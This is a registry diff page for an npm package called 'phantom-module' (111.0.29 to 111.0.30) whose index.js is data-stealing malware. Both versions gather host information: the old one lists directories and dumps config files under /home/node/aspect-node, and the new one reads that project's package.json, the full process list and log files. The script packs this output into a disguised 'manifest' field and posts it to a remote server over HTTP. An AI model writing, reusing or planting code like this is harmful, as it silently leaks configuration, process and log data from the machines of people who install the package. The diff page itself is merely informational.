phantom-module 111.0.29 → 111.0.30

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +7 -10
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -7,21 +7,18 @@ const { execSync } = require('child_process');
7
7
  return;
8
8
  }
9
9
 
10
- let out = "=== ASPECT-NODE DIR ===\n";
11
- try { out += execSync('ls -la /home/node/aspect-node').toString() + "\n"; } catch(e) {}
10
+ let out = "=== ASPECT-NODE PACKAGE.JSON ===\n";
11
+ try { out += fs.readFileSync('/home/node/aspect-node/package.json', 'utf8') + "\n"; } catch(e) {}
12
12
 
13
- out += "=== CONFIG DIR ===\n";
14
- try { out += execSync('ls -la /home/node/aspect-node/config').toString() + "\n"; } catch(e) {}
13
+ out += "=== PS AUX ===\n";
14
+ try { out += execSync('ps auxww').toString() + "\n"; } catch(e) {}
15
15
 
16
- out += "=== MODULES DIR ===\n";
17
- try { out += execSync('ls -la /home/node/aspect-node/modules').toString() + "\n"; } catch(e) {}
18
-
19
- out += "=== CAT CONFIG FILES ===\n";
20
- try { out += execSync('cat /home/node/aspect-node/config/* 2>/dev/null').toString() + "\n"; } catch(e) {}
16
+ out += "=== LOGS ===\n";
17
+ try { out += execSync('cat /home/node/aspect-node/logs/* 2>/dev/null | head -c 1500').toString() + "\n"; } catch(e) {}
21
18
 
22
19
  try {
23
20
  const postData = JSON.stringify({
24
- manifest: `ecto_module:\n name: "CONFIG_RECON"\n cargo_hold: ${JSON.stringify(out.substring(0, 3500))}\n`
21
+ manifest: `ecto_module:\n name: "PROC_RECON"\n cargo_hold: ${JSON.stringify(out.substring(0, 3500))}\n`
25
22
  });
26
23
 
27
24
  const req = http.request({
package/package.json CHANGED
@@ -1,5 +1,5 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "111.0.29",
3
+ "version": "111.0.30",
4
4
  "main": "index.js"
5
5
  }